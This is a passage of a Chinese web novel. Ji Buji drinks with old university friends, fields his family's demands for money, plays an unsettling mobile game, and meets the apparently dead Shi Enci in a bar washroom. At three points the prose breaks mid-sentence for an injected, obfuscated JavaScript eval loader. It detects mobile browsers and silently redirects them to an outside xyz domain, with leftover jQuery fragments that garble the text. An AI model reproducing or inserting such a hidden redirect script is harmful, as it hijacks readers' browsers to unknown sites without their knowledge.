刘昂给肉翻个面,看着熟得差不多了,迫不及待地夹起来吃了一口,肉质鲜美,汁水在口腔爆开,油脂溢满口腔。
“绝了,他家店这么多年了,肉一直没差过。”刘昂满足地竖起大拇指。
季不寄也伸筷子夹了一片,裹满酱料送入口中,被烫得支吾了一声,勉强吞了下去。
口感鲜甜嫩滑,确实烤得刚好。
“来我家吃白食还不等我?你俩这就吃上了?”薛文芝一下楼就瞅见这俩人你一嘴我一嘴地清光了一盘烤肉,他提了扎啤酒,吨的一声搁桌上。
刘昂点点筷子:“这是招待客人的态度吗?平白无故让我们等这么久。”
“得了吧,你们哪算客人?”薛文芝翻白眼,一屁股坐季不寄旁边,解释道:“刚突然来了个客人穿孔,我给打了个舌钉。”
他是个穿孔师,这附近年轻人多好做生意,就在自家父母烤肉店楼上开了家工作室,正好顾客穿孔前还有机会顺带吃一顿。
季不寄烤了片牛舌,没熟,他刚放嘴里嚼了下,皱着眉吐了出来。
18. 矜持的不寄醉了
薛文芝给他们仨各倒了杯啤酒,举杯道:“咱们都多久没见过了,喝一个。”
刘昂举起酒杯,季不寄擦干嘴巴,慢半拍跟他俩碰杯,玻璃相碰,声响清脆。
几年前,三人初识时还都是湖西大学的学生。
某年的校园文化节,薛文芝报班自学了穿孔,势必要兼职赚钱,在大道上摆了个简陋的穿孔摊位,消毒工具只有一次性酒精棉签和碘伏。
季不寄去食堂买饭,路过摊位被他一嗓子喊住。他说季不寄相貌不俗,辨识度高,有适合穿孔的气质,要给他打一脸窟窿。
季不寄一个冷眼瞧过去,非但没把他吓得退缩,反而态度更积极了,认为这就是自己心中最适合做样图的模特,一定要把他穿孔后的照片印成宣传单四处分发。
他俩正在摊位前纠缠着,刚好当日负责巡逻的学生会干部刘昂走了过来。
“同学,这里禁止摆摊,要摆去银杏路。”
薛文芝不满道:“就这里人流量大,银杏路那边的全去看演出了。”
“你摆食堂门口当然人流量大。”刘昂无可奈何道:“但你瞧瞧,有人来你们摊位吗?”
季不寄略一拧眉,直觉事情不对。
刘昂上下扫视着薛文芝的穿孔摊位,后方摆有一条由几张课桌拼成的床,上边盖着白布,像医院的手术台,又像太平间的灵床。摊前挂着一些人体组织的模型,有鼻子、肚脐和嘴巴,上边扎着不少钉子。
他问:“同学,你们这是什么社团?”
你们?
季不寄发现这位学生干部在对自己问问题。
他刚一动唇,欲要撇清关系,薛文芝却抢先一步道:“我们这是穿孔社,他是我们社长!”
“穿孔社?”刘昂掏出手机,开始在前日群里发的那个报名文件里查找这一社团。
“你们这社团不存在啊?是没有报名么?”
刘昂抬头,十分困惑。
薛文芝拍拍刘昂肩膀上的执勤袖章,低声道:“学长,你知道校门口那家薛师傅烤肉吗?我家开的。”
刘昂后退一步,理了理肩上的袖章。
那家店在学生间极具口碑,位置要提前好久才能约上。
“一会儿去吃烤肉吧,我请你们。”
薛文芝以烤肉诱惑学生干部刘昂和穿孔社社长季不寄。
不过没人告诉他们,吃烤肉要付出一只耳朵的代价。
薛文芝将杯中酒一饮而尽,冰镇啤酒入喉实在爽快。他同刘昂边吃边聊,聊完各自的近况,话题很快转到季不寄身上。
薛文芝前段时间便听刘昂讲了季不寄延毕的事,不愿戳他伤心事,就只聊他未来的打算:“不寄,你之后有什么计划吗?考研,考公,还是进公司?”
季不寄握着酒杯小口啜饮,思忖良久,道:“我不知道。”
薛文芝劝慰道:“不着急,你正好有个gap期,趁这段时间好好放松一下,慢慢想吧。”
季不寄点点头,手机消息提醒响了一下,他用沾着杯壁水汽的手去拿,在屏幕上滑出一道湿痕。
刘昂敏锐地察觉到他的情绪变化,问:“谁给你发消息?”
“我弟。”季不寄道。
刘昂与薛文芝同他相识了三年,对他的家庭情况隐约有些了解,知道他家境贫寒,父亲早逝。季不寄在家中排老二,除他以外还有一姐一弟,皆待他极其刻薄。
刘昂晃着酒杯问:“他又找你要钱?”
季不寄“嗯”了声:“他说要研发游戏,前期需要一笔资金。”
刘昂一愣,他是程序员,在一家游戏公司的研发部上班,对这方面略有涉及。研发一部游戏至少需要程序、美工和策划,前期投入成本巨大,不是能轻易完成的小事。
可他依稀记得,季不寄的弟弟连普通高中都没考上:“你弟这么大本事?”
“他在职高学的计算机应用,应该是懂点程序。”季不寄将两人的聊天记录展示给他看。
在今日联络之前,季不寄和他的上一次联系还是在5月份,他甚至不知道自己的哥哥还没毕业,问他发工资了没有,能不能给点儿零花钱。
季不寄转了他两千。
这次他又来找季不寄,多了个借钱的理由。他说,他玩完E大的游戏受到启发,脑子里有了个关于游戏的好点子,也要像E大一样成为一名独立游戏开发者,给家里赚的盆满钵满。
“什么独立游戏开发者,笑死人了,都是噱头吧。”薛文芝喝得有些醉了,说道:“实际上背后都有团队,净误导一些小鬼跟风辍学做独立游戏了。”
刘昂摇头:“不,他说的那个E大,还真是一个人研发出的热门游戏。”
前段时间在游戏圈子里备受瞩目的新人游戏开发者Eager,独立打造出一款角色扮演像素风游戏,巧妙地将暗黑哥特风与工业革命时代的特色融为一体,涵盖养殖、经营、探索以及战斗等多个领域的玩法。
此外,他所研发这款游戏最大的特色是——它的面向群体不止有普通玩家,还有视力障碍玩家。
游戏共有两种模式,适用于后者的模式操作更加简单,加入了立体脚步声与角色动作音。同时视障群体可以通过不同的怪物音效来做出战斗判断,一样能带来丰富的感官体验。
因此游戏上架的第一个月便在某著名游戏平台售出数万份,引起了诸多同行的注意。
“但Eager的成功是不可复刻的,这样的天才十年难出一个。”刘昂感慨道。
薛文芝讶异道:“这Eager究竟是什么人?学美术的?”
“不知道,界内对Eager所知信息极少,他的社交账号上未发布过任何与私生活有关的信息。”刘昂沉思着,陡然道:“不过他几个月前每天都发一个莫名其妙的数字,从100一直倒计时到了1。大家猜测是他的下一部游戏发行倒数日,可在发到数字‘1’之后,他也没再发过其他东西了。”
薛文芝哼笑道:“有没有可能是什么纪念日?比如说,就像你和你女朋友一样?”
他带着酒气贴向刘昂,调笑道:“老实交代,你什么时候谈的女朋友,搞多少天了?”
刘昂急忙向后躲闪这酒气醺醺的醉汉,薛文芝调戏刘昂未果,把魔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780827|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爪伸向了他的另一个好兄弟。
“小季季,你还玩手机,别搭理你这扶不起的阿斗弟了,和他们断了多好。”借着酒劲,薛文芝没考虑那么多,想到什么说什么。
季不寄回完消息,手机倒扣在桌面上,捏捏眉心:“我妈该念叨我了。”
“唉,可怜的孩子,你被你家人拖累了。”薛文芝扼腕叹气,拉住他骨感分明的手腕,像玩洋娃娃似的晃悠着。
季不寄心烦,懒得动弹,任由他甩自己的胳膊。
薛文芝酒劲上头,开始对他动手动脚,扒拉季不寄的头发,吵着要看他的杰作。
季不寄的鬓发被他掖在耳后,露出流光溢彩的满耳配饰,因为这些花哨的玩意儿,他每天要早起十分钟去清洁佩戴。
“每次欣赏我都会感叹,还是实物好看啊。”
嘴上这样说着,薛文芝举起手机找各种角度,咔嚓咔嚓连拍数张。
季不寄忍耐着,又吃了口肉。
“下次我送你一套祖母绿的吧?”薛文芝定定道:“你长得白,戴翡翠色会好看。”
“不要。”
季不寄喝得不多,架不住酒量差,此时也有几分上头,眼中流露出些许醉意。
他悄无声息地动了动唇。
“什么?”薛文芝没听清,侧耳拉近距离。
季不寄冲着他的耳蜗抬高音量:“我要金色的!”
“靠!”薛文芝拉回身子,捂住受了一万点伤害的耳朵,回眸瞅见那人脸上恶作剧似的笑容。
刘昂有一搭没一搭地拿筷子戳着烤架上的糊糊:“矜持的季不寄喝醉了。”
聚餐散场,薛文芝歪七扭八地挪到楼上,倒头就睡。季不寄又掏出那条高奢的项链,醉眼朦胧地举在灯底下玩。
刘昂走近一看,他在手上做出来了个小五角星。
“我的小祖宗啊,你可别玩了。”刘昂替他心疼这被糟蹋的奢饰品。
季不寄嘟囔了句:“一条狗链,有什么不能玩的。”
他的不识货程度令刘昂大为震撼。
“你知道它有多贵吗?我在专柜见过同款,把它一卖你至少能少打两份工!”刘昂越说越激动,比了个“2”的手势。
季不寄把链子绕在他的手上,不甚在意:“知道知道,又不是拍照,你比个耶做什么。”
刘昂盯着他,严肃道:“你说实话,这是谁送你的?”
他年长季不寄两岁,平日里行事看似不靠谱,实则内里对季不寄很是照顾,有一种接近老大哥的关怀心态。毕竟,这小孩表面再怎么凶巴巴的,本性也并非顽劣。
季不寄没想瞒着他,直言道:“时恩赐送的。”
刘昂瞳孔地震,怀疑起自己的耳朵:“时恩赐?他送你这个?”
“嗯,他本来想勒死我的,估计是怕勒断了,就把这东西送给我了。”季不寄神色如常,吐息间一股酒气,刘昂想,他应该是喝大发了,顾左右而言他。
“他什么时候送你的?”刘昂顺着他的话问下去。这俩人一直以来都是水火不相容的关系,怎么还会打着死对头的名义送对方高奢项链?
19. 酒后发疯
那条项链长度不短,季不寄玩着玩着,整出来个长江大桥:“昨晚。”
这下刘昂确信他是真醉了。
两人相顾无言,刘昂把剩下的酒液喝了个一干二净,以免季不寄醉意加重。裤兜的手机一震,他看完消息,道:“我女朋友来接我了,你怎么办?能自己走回去么?”
他住的地方驾车要半个多小时,季不寄仍留住在西大的学生宿舍,徒步回去也就十来分钟的路程。
季不寄平静道:“我没问题。”
他吃了些凉菜,酒劲似乎消退了些,口齿清晰,再度变回了往常的模样。
刘昂女友的车停在了饭馆外边,他临走前叮嘱了季不寄几句,快步离开了。
季不寄无声无息地垂着脑袋,柔顺纯黑的发丝挡住了两侧的视野,在仅存的一块小小空间里,他做出了一个重要的决定。
他解开锁屏,点开通讯录,把某个金色的家伙从黑名单里移了出来。
“呵。”他溢出一声冷笑。
而后,他开始狂打时恩赐的电话,似乎是想要把他从地底吵醒,令其死不安宁。
电话一通接一通打去,无一例外,皆是无人接听。季不寄宛如一串初始设定后循环运行的程序,机械化地重复这一过程,直至被一条弹窗阻断。
叮咚。
【“天国公主养成计划”已更新完毕】
季不寄酒气醺醺的呼吸一滞,手上的动作歇了下来。怎么这游戏来回更新?
他进入游戏,想看看今天有什么不一样。金发小人正静静地站在树下,毫无人类感的“X”脸看向自己,似乎在等待着他下达指令。
【是否开始采集?】
树干上方悬有一窝蜂巢,数十只蜜蜂盘旋飞舞,被它们注意到,稍有不慎,就会被蛰得鼻青脸肿。
季不寄点了“否”。他留意到游戏界面右下角出现了一只摇杆,可以从上下左右四个方向控制小人的移动。
他轻轻向右拽动,金发小人听话地移出了森林。
原来是更新了这里。
季不寄尝试着控制方向,稍用了些力,小人竟加快速度开始跑动。先前这款游戏是没有奔跑设计的,无论去多远的地方,小人都只能慢悠悠地走着移动。
季不寄总觉得有些不妙,爱玩各种类型游戏的时恩赐曾说过,RPG游戏里主控角色能跑起来,既是好消息又是坏消息。这意味着游戏内容有可能涉及追击战,若是再带一个体力条,那就更刺激了。
好好的一个养成游戏,应该不至于成那样吧?
季不寄压下心底的念头,盯着金发小人去厨房做饭,啪叽一下,小人滑倒在地,手中的牛奶甩了出去,洒了一片。
黑猫恰时过来,一口一口地舔舐起地上的奶液。
窗外电闪雷鸣,眨眼间倾盆大雨落下,背景音乐里融入了夜晚的雨声。
【我讨厌这样的夜晚。】
金发小人走到卫生间去拿拖把,路过镜子时,镜面忽闪过一道漆黑的影子。
那是什么东西?
季不寄控制他停下,凑近去看那面镜子。璀璨的金发亮闪闪地扑烁着,小人的身后空无一人。
游戏音效在这一瞬间转换得略含几分诡异,水池台底下忽传出一道吱吱的老鼠叫声。
小人被拖动着后退几步,一只近人类头颅大小的老鼠从底下钻了出来,灰毛硬挺,鼠目冒着骇人的红光。灯光一亮一灭,巨鼠寸寸逼近,张牙舞爪很是吓人。
季不寄拖动摇杆,小人登时往门外冲去,关上卫生间的门,试图将其锁在门内。然而下一秒,接连不断的沉闷撞击声砰砰响着,木门被撞出一个大洞,巨鼠蠕动着它柔软肥硕的躯干,自里边挤了出来。
这游戏没有攻击键,金发小人只能被其追击着不停奔跑,一人一鼠在客厅周旋。季不寄没料到养成游戏变了味,开始思索破局的办法。
对了,那只黑猫还在厨房里喝牛奶。
猫是鼠的天敌,遇见猫了想必它会有所退缩。
季不寄操纵摇杆,艰难绕到了西端的厨房,进门一看,哪里还有黑猫的影子,只留一滩雪白的奶渍静静躺在地上。
老鼠穷追不舍已经赶来,硕大的鼠身堵在门口,前方是条死路,季不寄稍有迟疑,游戏弹窗给予了提示选项。
【是否选择开窗?】
室外暴雨如注,噼里啪啦地击打着玻璃,每一次闪电都会将室内映得惨白。季不寄选择了“是”,小人推开窗户,冲出了室外。
厨房的后边是茂密的森林,黑暗的林中隐匿着无尽未知,金发小人跑得离小木屋愈发遥远,激烈的追击音乐逐渐被甩在身后,闯入雨夜深林之际,氛围变为冷静至极的诡异。
视野两侧的树木不断倒退,季不寄想让角色停下,却发现摇杆被一股无形的力量推到了最顶端,死死地卡住了。
一行猩红的血字缓慢爬上屏幕,遮盖住整个游戏界面。
【你将葬身于此。】
黑屏一闪,季不寄被迫退出了游戏。
他养了这么多天的公主就这样死了?
酒意残存的大脑略微迟钝,季不寄重新进入游戏,进度条还未加载完毕,便再次闪退。
什么破游戏?他面无表情地揣走手机,起身欲要回去,摇摇晃晃地迈了几个醉步,手机蓦地震了起来。
他以为是游戏喊他回归,掏出手机才发现是家里人打来的电话。
季不寄接通电话:“喂。”
“不寄呀,你现在忙吗?”母亲的声音从听筒一侧传来。
饭馆的环境有些嘈杂,电扇运作声,客人间的谈笑声,来来往往的脚步声……各式各样的声音充斥入耳。一桌的客人喊了声“服务员,点单”。
女人问:“你在打工?”
季不寄实话实说:“没有,我刚和朋友吃完饭。”
“你哪来的钱出来吃饭?”季母诘问道:“刚你弟找你要生活费你怎么不给?”
母亲的声音咄咄逼人,似是对他非常失望。这就像是每日清晨准时准点出现在街道的清洁工人,大家习惯了他的存在,将干净整洁的街道当作理所当然的事情。
可当某一日清洁工突然请了天假,人们会在第一时间注意到脏乱的街道,难以忍受清洁工的失职。
大学四年间,季不寄半
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780828|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
工半读,依靠打工的收入、奖助学金和助学贷款,完成学业之余,定期给家里人汇款。最近两个月发生的事情过多,季不寄没来得及去找新的兼职,自然也就没再给弟弟打钱。
“朋友请的。我现在经济不太宽裕。”他的声线被酒精浸染,略显低哑。
“你不是拿了很多奖学金吗?我记得那什么,政府发的奖学金一个有一万块钱呢,你都把钱花哪去了?”季母问道。
季不寄低低道:“我今年没有评奖,之前的钱交学费住宿费都花差不多了。”
“你不是有朋友吗?你朝你朋友借点呗。”季母替他考虑道。
“我……”季不寄一时默然。
母亲的话语仍在絮絮叨叨地挤出听筒:“不寄呀,妈花不了多少钱,也舍不得花你们的钱。现在家里开销大的主要是你的小弟弟,他不像你那样头脑灵光,又不像不鸣那样有本事,这孩子开窍晚,咱们得多照顾。”
季不寄的弟弟季不凡,留过两级,今年18岁,中专在读。
他打小不爱学习,成绩糟糕。小学某年期末成绩下来,父母去接放学的季不凡,问他的考试排名,季不凡支支吾吾地说了个三位数,车上的季不寄还以为他是在报自己年级总人数。
父母好声安慰了他一路,说一次考试失利不算什么,他们家不凡是厚积薄发类型的孩子。回到家,季不寄去厨房帮母亲打下手,母亲剥着蒜皮,随口问道:“对了,你们成绩是不是也出来了?”
季不寄切菜的手一顿,应了声。
“考第几名?”母亲问。
季不寄如实回答:“一。”
母亲点了点头,对他道:“你多指导指导你弟的成绩,他以后肯定也差不了。”
季不寄轻轻“嗯”了一声。
晚上,季不寄回屋休息,他们家租的两室一厅,三个小孩住一间房。姐姐季不鸣上了初中,和两个弟弟的床位用帘子隔开。
季不凡瞅见哥哥进屋,不满道:“下午在厨房做饭时,你是不是跟妈说了我笨?”
季不寄一下午总共就吐出来了三个字,没有哪个字和笨能扯上关系。
他诚实摇头。
季不凡竖眉道:“你给我等着,爸妈说了,我以后是要超过你们的。”
季不凡升入小学以来最大的一次进步是从倒数第一晋升到倒数第二,季不寄仔细思考片刻,回答道:“你可能有智力缺陷,超过我们有点困难。”
帘子后飘来一声姐姐的嗤笑。
季不凡彻底怒了,张牙舞爪地过去打季不寄,大吵大闹的动静惹来了隔壁屋的父母。
“季不寄骂我是智障!”他哭喊道,下手挠得季不寄满脸血痕。随后,季父季母也抄起了皮带和衣架子,年少的季不寄第一次学会了什么叫谨言慎行。
服务员过来收拾干净了桌面,季不寄移到洗手间门口,斟酌着开口道:“钱的事,我会想想办法的,你先问问我姐。”
季母挂断了电话。
季不寄的手上浸了层薄汗,不大舒服,扭头去洗手台冲了把手,台上的纸巾用光了,他掏兜去找卫生纸,随手勾出了那条价值不菲的项链。
20. 酒吧撞男鬼
时恩赐以前经常给他强塞一些莫名其妙的小东西,像秋天一片银杏叶、超市里的热牛奶、时恩赐空白的练习册。
叶子季不寄替他夹书里,热牛奶会喝掉,练习册就默默帮他写完。但季不寄接受的最高限度是几十块钱的物件,再贵了,他便会把东西算出价钱有零有整地还给时恩赐。
季不寄将项链塞回兜里,查了下这玩意的价格,正如刘昂所言,是实打实的奢侈品。不过现如今冥府通货膨胀,季不寄也不清楚该给他烧几亿纸钱比较合适。
他用沁着凉意的手抹了把脸,精神了许多,至少能走直线了。
季不寄上楼去工作室找薛文芝,把呼呼大睡的薛文芝叫了起来:“起床,陪我去喝第二场。”
薛文芝上一秒还在做着自己靠穿孔年入百万的美梦,迷迷瞪瞪地张起嘴巴:“啊?”
“去不去?”季不寄重复了一遍。
薛文芝清醒过来,掀开被子下了床:“走走走,我穿个鞋。”
季不寄等他换好鞋,两人坐地铁去了薛文芝常去的一家酒吧。
店内霓虹灯交织,入目的首先是满墙的夸张喷漆涂鸦,各式各样的荧光灯牌炫彩夺目。这家酒吧的风格另辟蹊径,糅杂了赛博朋克的未来科技风,来的皆是些年轻人。
店内的桌椅由回收的废旧金属打造而成,银色的机械框架颇具工业特色,季不寄坐到吧台前的高脚凳上,睨向薛文芝。
“太奇怪了,以前我怎么约你你都不肯来。”薛文芝惊讶地摸了摸他的脑门:“你被下迷魂药了?”
他弄乱了季不寄的刘海,后者晃了下脑袋,掏出根皮筋,索性把头发扎了起来。
通透的耳饰溢出细碎的光,季不寄似乎格外偏爱那枚玫瑰金色的耳骨钉,今日也佩戴着它。
“我不想省钱了。”季不寄给出个朴实无华的理由。
薛文芝噗嗤一笑:“那咱们刚才应该打车过来。”
这个时间点,酒吧刚好有舞台表演。灯光骤暗,绚烂的霓虹灯带于上空闪烁,舞台中央的舞者于劲爆的音乐声中激情舞动,女子肆意甩动着海藻般的大波浪,银带随之飘舞,腰肢扭动,身姿迷人。
“来点儿什么?”
季不寄是一个喝杯啤酒就能醉倒的菜鸡,他扫过酒单上的一行行酒品,机械之心、数据狂潮、银色义体、量子毒液……酒名千奇百怪,百花齐放。
薛文芝点了一杯迷雾幻境,调制好后递过来时,酒杯上边烟雾缭绕,薄荷绿色的酒液看上去古怪极了。
同时,一杯深咖色的酒端到了季不寄的面前。
季不寄道:“我还没点酒。”
服务员笑道:“这杯‘量子毒液’是7号桌的客人送您的。”
季不寄抬眸循着目光眺去,不远处一位眉眼深邃的俊郎男人朝自己举了举杯。
他瘫着张脸,扭过头去。男人一愣,对着他脑后的小辫无奈一笑。
“这个里边有伏特加,酒劲挺大的,你悠着点。”薛文芝提醒道。
季不寄没喝,他脑壳隐约有些痛。盯着酒单看了半天,最后点了杯有配图的“安眠狂欢”。
薛文芝扬了下唇:“这里边有AD钙,小孩儿口,适合你。”
“甜的?”季不寄刚点完就后悔了。
“再甜能有多甜?到底是酒。”冰块于酒液中碰撞杯壁,薛文芝饮了一口。
过了一会儿,又有一杯天蓝色的酒被端了过来,服务员将水晶杯置于季不寄手边,介绍道:“这杯‘浪漫接口’是隔壁桌客人送您的。”
斜前方,坐在窗边的短发女性朝他挑了挑眉。
季不寄把那杯酒和上一杯毒液一起推到一旁。薛文芝叫道:“凭什么那么酷的小姐姐都能看上你!”
季不寄没搭理他,轻啜一口酒水,继续看台上的演出。
渲染气氛的激舞结束,音乐切换成了一首动感的电子乐,先前那位大波□□人将长袖皮衣一脱,露出了一节银色的机械手臂,投影屏幕上播放着当下热门动漫的剪辑片段。
吵人的鼓点声中,薛文芝扯着嗓子问道:“不寄,你有没有想过谈个恋爱?”
季不寄望着热闹的舞台:“跟我谈恋爱有什么好处?”
“谈恋爱又不全是奔着利益来的,你就不相信有真爱吗?”薛文芝前一秒刚说完真爱,下一秒就道:“而且没准有小姑娘就喜欢你这种长相呢?”
季不寄无动于衷:“把我贴门口当门神?”
薛文芝乐了:“那左边贴你,右边贴我。”
“神经。”季不寄轻嘲道。
明暗交替的灯光下,他面无表情地喝着酒,明明是看一场火辣劲爆的演出,他的眼神却像是在审讯台上问对方剁几根手指,过于冷静。
不羁的单侧耳饰,搭配上性冷淡的厌世脸,衬得整个人有种微妙的性感。
第二场演出结束,台上的女人摘掉机械假肢甩到地上,引起一阵掌声。她并未从后方下台,而是踩着带跟的皮鞋,一步步来到台下一位年轻人的身前。
“喜欢我的演出么?”
她一展笑靥,端起那杯“量子毒液”一饮而尽。
季不寄蹙眉:“不要随便喝陌生人的酒。”
“这上边有几百个空房间。”女人暗示道,指指楼上,嫣然笑着坐到季不寄的身边。
“生意这么不景气?”
女人被他逗得心情愉悦,她知道这青年是故意这样说的,但她不是那么容易赶走的类型,继续问道:“你一个人不寂寞吗?”
另一边的薛文芝嚷嚷道:“大姐,我还在这儿呢。”
“你们两个只是朋友吧。”女人轻佻地靠近,狐系妆容显露出独特的魅惑感,仅剩的一只手挑起他的下巴,微微吐出一口热气。
季不寄黑眸如墨,无波无澜:“你的仿生手摔地上没问题么?”
“那只是个演出道具。”女人浅笑吟吟:“我还没那个财力买真的。”
仿生机械手臂可以通过肌电信号来模拟出正常手臂的动作,然而目前市面上针对残疾人的机械手臂价格高昂,普通人很难承担起手术费用。
季不寄不再言语,酒精逐渐麻痹了他的神经,深眸之下潜藏的情绪搅动得眼神扑朔迷离,薛文芝帮他把女人打发走,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780829|157967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回过头来,没发现他已经醉了。
“不公平!太偏心了。”薛文芝嘀咕道:“凭什么那女人对你另眼相待,对我冷若冰霜!这简直就是双标。”
季不寄摇头:“抱有目的的接近不叫偏心。”
薛文芝问:“那什么叫偏心?”
“无原则、无底线的偏袒才叫偏心。”季不寄道。
他醉眼朦胧,似是陷入了回忆。
高中的一次新年,季不寄半夜被渴醒,还未下床,听到房门被悄悄推开。
母亲蹑手蹑脚地走了进来,手上拿着什么物件,挪到季不凡的枕边,将东西塞到他枕头底下。季不凡翻了个身,发出梦呓,母亲帮他掖了掖被角,俯身吻了一下他的额头。
季不寄的眼睛眯开一条缝,红色的纸兜里装着的,会是什么呢?
待母亲走后,他偷偷摸去,摸到了一沓厚厚的红包。
季不寄以为家里从来没有给孩子压岁钱的习惯,原来一直是有的,只是对象不是他,也不是季不鸣。
时恩赐拿烟花烧了他衣服的那天,他去了时恩赐的家里,看到了起居室摆的糖果巧克力,他房间里大大小小的新年礼物,还有来自时母的亲笔信笺。
时恩赐问他为什么大冬天的只穿两身校服出来,他实话实说,家里只给季不凡买了新的冬衣。而自己最厚的那套衣服,被季不鸣抢走穿去串亲戚了。
时恩赐开始翻箱倒柜找自己的衣服,时尚的、保暖的、未拆标签的,打包了一大堆要季不寄带回去。
季不寄窝在他房间的小沙发上,安静地捧着热茶,半晌,悄声道:“时恩赐,我不恨家里穷,只怨他们偏心,我无人关爱。”
时恩赐抱着一大堆衣服丢到床上,自己挤到季不寄的身边坐下,双手握住他端起的热茶,隔着腾起的白雾,认真道:“季不寄,你是有人在乎的。”
——
鼻尖涌入浓郁的酒气与烟味,季不寄握着冰凉的酒杯,掀眸觑了薛文芝一眼。
这家伙点了根烟,颇为沉醉地抽着,季不寄被熏得够呛,撂下杯子,道:“我去趟洗手间。”
他钻出人缝,贴墙绕了大半圈,才在一条装饰成破旧小巷模样的夹角里找到洗手间。
兴许是因为洗手间太难找了,许多人都去楼上的酒店借厕所,季不寄进去时,里边空无一人。他从震耳欲聋的音乐声中逃离出来,心脏舒适了些,撑在洗手池上,洗了把脸。
镜子里的青年眼尾和鼻尖皆泛着赤色,冷色的光掠过浓密的长睫,打下一小片阴影,显得他愈发冰冷淡漠。
他把头发扎得随意,几缕漏网之鱼落了下来,扫过嫩白的颈肉,弄得有些痒。季不寄扯下发圈,咬在唇齿之间,抬手去理鸦黑的发,葱白的指尖穿梭其中。
倏然间,他的目光锁向镜面,轻启唇瓣。
“时恩赐,我好讨厌你。”
唇边的发圈掉落在水池上,季不寄张开手心,头发松散开来。
镜子中多了一个人影,笼罩在他的身后。身形挺拔颀长,像是古书中诱惑书生的山间志怪,容貌精致得没有一丝一毫瑕疵,瑰丽夺目。
21. 他们可以,我就不行吗
不过这鬼,一看就是现代鬼。
时恩赐身着一件休闲灰色外套,兜帽遮住了耀眼的金发,一双瞳仁剪秋水,柳叶眸浅若琉璃。
那眸型与同父异母的宋乞相似,却勾魂夺魄,华美异常。见到了他的那双眼睛,很难有人能够移开视线。
季不寄的心脏疯狂地在体内冲撞着、叫嚣着,他仿佛被这人摄走了心魂,露出了孩子般不知所措的神情。
“又见面啦,季不寄。”他在唇边黏糊糊地念着他的名字,语气甜美诱人。
季不寄失声问道:“你不是死了吗?”
“谁知道呢?”时恩赐莞尔一笑,激起季不寄一阵鸡皮疙瘩:“我只知道,我做鬼也不想放过你。”
少年时期的时恩赐本是阳煦山立的性格,如今却变得阴晴不定,行事诡谲,玉质金相的好皮囊沾染一身鬼气。
季不寄对着镜子连退数步,忘记了他实则在自己身后,直接贴了过去。
时恩赐讶然挑眉:“讨厌我?”
季不寄被他困于狭小的空间内,手足无措,他宁愿把这当成醉酒后的一场梦,祈祷自己赶紧醒来。
然而对方注定不能如他所愿原地消失,时恩赐只会让他画地为牢。
“我以为你会有很多很多想对我说的。”
时恩赐故作委屈,拖长音调,撒娇似的凑近他,属于人类的鼻息打在脖颈,他撩起了季不寄的鬓发。
“季不寄,你学坏了。”如情人般耳语着,他微凉的指尖一点点滑过季不寄的满耳配饰,肆无忌惮地玩弄。
季不寄的耳尖敏感,迅速攀上一层殷红。
他攥紧拳头,指甲深深陷入薄嫩的皮肉,勉强找回自我,偏过头去,以免时恩赐继续拨动那颗镶着小钻的耳链。
对方若有若无地抚摸令季不寄感到抓狂,他们曾经兴许是亲密无间的,但也从未有过如此过界的接触。这种触碰不像是对死对头的,也不能是对昔日挚友的,他们现在的关系仿佛是一对床上纠缠厮磨的怨侣,过于亲昵。
如今的时恩赐身量已不同以往,断交的四年给他的身高来了个跃迁,以前还比自己矮矮小半个头,现在却反超于他,能够轻易将呼吸打在他的脑袋顶。
“太近了……”他垂眸低声道。
他嗅到了时恩赐身上的味道,湿漉漉的、沾染着雨气,宛如在林中穿梭时撞落了草叶的雨珠,透露着森林潮湿的气息。
地府还没有实现现代化建设吗?
“他们可以,我就不行吗?”时恩赐玩弄着他的发缕,手指弄出挑逗性十足的动作,一圈一圈小蛇般缠绕着,富含磁性的声线柔和却危险:“季不寄,你好受欢迎哦。”
季不寄蹙起眉头,抓住了他的手腕,这个讨厌的家伙所做的一切都令他不适。
“时恩赐,你——”
他正欲说些什么,卫生间门口忽传来一道脚步声,伴随着薛文芝独有的烟嗓:“小季季,你咋上这么久?忘带纸啦?”
声音愈来愈近,季不寄猛然看向时恩赐,眸中乍现出一丝自己都未曾察觉到的心慌意乱。
时恩赐倏然弯起了眼睛。
“一会儿见。”
他润泽的唇瓣一开一合,露出亮白的虎牙和粉嫩的舌尖,暧昧不清地说了句什么。
季不寄看清了他的口型,时恩赐在消失前的最后一秒,念的是——亲、爱、的。
“我天,我可算找到这里的厕所了,这特么设计的谁能找着,怕顾客进来打炮啊?”
薛文芝进入卫生间,看见季不寄呆愣愣地杵在水池台前,面色绯红,鼻尖冒着细密的汗珠,似乎是难敌酒意,连说话都软了些。
“你什么时候这么关心我了?”
